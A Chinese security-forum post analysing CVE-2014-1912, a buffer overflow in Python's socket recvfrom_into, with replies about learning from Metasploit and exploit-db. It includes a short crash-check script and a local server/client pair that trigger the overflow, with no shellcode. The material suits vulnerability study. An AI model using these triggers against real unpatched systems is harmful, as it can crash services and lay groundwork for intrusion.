首页
社区
课程
招聘
[原创]CVE-2014-1912漏洞介绍与简单分析
发表于: 2014-3-7 16:05 6530

[原创]CVE-2014-1912漏洞介绍与简单分析

2014-3-7 16:05
6530

前段时间,CVE上收录了Python缓冲区溢出漏洞CVE-2014-1912。正好自己在学Pyhon,于是跟踪分析了下。自己是个新手,对于shellcode编写还没掌握,所以这里侧重于漏洞的原理介绍和溢出点的定位,如有不足和错误之处还请大家指点,谢谢。

1.漏洞介绍
这个漏洞产生于Python socket模块中的recvfrom_into函数,该函数在处理过程中,对recvlen和buf.len的判断存在问题。
该漏洞会影响Python 2.7.7/3.4.4之前的版本。

你也可以运行如下脚本进行检查,如果产生段错误,则说明存在这个漏洞。

import socket
r, w = socket.socketpair()
w.send(b'X' * 1024)
r.recvfrom_into(bytearray(), 1024)
import socket, array 

host = socket.gethostname()
port = 40000

s = socket.socket()
s.bind((host, port))

#mybuf = bytearray(b'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB')
#print hex(id(mybuf))
mybuf = array.array('c', 'B'*5)
print len(mybuf)
print hex(id(mybuf))

s.listen(5)
while True:
    c, addr =  s.accept()
    nbytes, c_addr = c.recvfrom_into(mybuf, 1024)
    print 'recv ', nbytes, ' bytes: ', mybuf
    c.close()
import socket

host = socket.gethostname()
port = 40000

s = socket.socket()

s.connect((host, port))
buf = 'AAAAAAA'
s.send(buf)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (6)
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
msf上面很多漏洞都可以调试学习
2014-3-7 16:18
0
雪    币: 92
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
手头有《Metasploit渗透测试魔鬼训练营》,准备好好学习下。
2014-3-8 17:38
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
4
我也有,嘿嘿
2014-3-8 17:40
0
雪    币: 563
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习   kali 里 exploit-db文件夹也有好多
2014-3-8 22:12
0
雪    币: 345
活跃值: (122)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
6
现在爆的漏洞都只有学习意义了么?
2014-3-10 08:46
0
雪    币: 249
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
看的越多,对渗透和挖掘都有帮助吧。
2014-3-10 09:38
0
游客
登录 | 注册 方可回帖
返回
//